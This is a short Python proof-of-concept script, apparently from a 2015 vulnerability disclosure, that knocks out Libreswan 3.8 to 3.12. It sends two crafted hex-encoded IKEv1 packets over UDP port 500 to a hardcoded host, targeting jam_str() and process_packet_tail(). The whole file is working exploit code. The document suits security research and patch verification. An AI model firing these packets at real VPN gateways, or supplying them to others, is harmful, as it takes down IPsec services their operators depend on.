#!/usr/bin/python3
"""
Denial of Service against Libreswan 3.8 to 3.12
by Javantea
May 14, 2015

Found using my IKEv1 fuzzer.
"""

import socket
from binascii import unhexlify

HOST = '192.1.2.23'
PORT = 500

# jam_str() test
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
data = unhexlify('b9ce3eefc8b661dd00000000000000000110020000000000000000580000003c00000001ffffffff00000000010100010000002801010000800b0001000c00040001518080010007800e0100800300038002000280040005')
s.sendto(data, (HOST, PORT))

# process_packet_tail() test
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
data = unhexlify('b9ce3eefc8b661dd00000000000000000f10020000000000000000580000003c000000010000000100000030010100010000002801010000800b0001000c00040001518080010007800e0100800300038002000280040005')
s.sendto(data, (HOST, PORT))
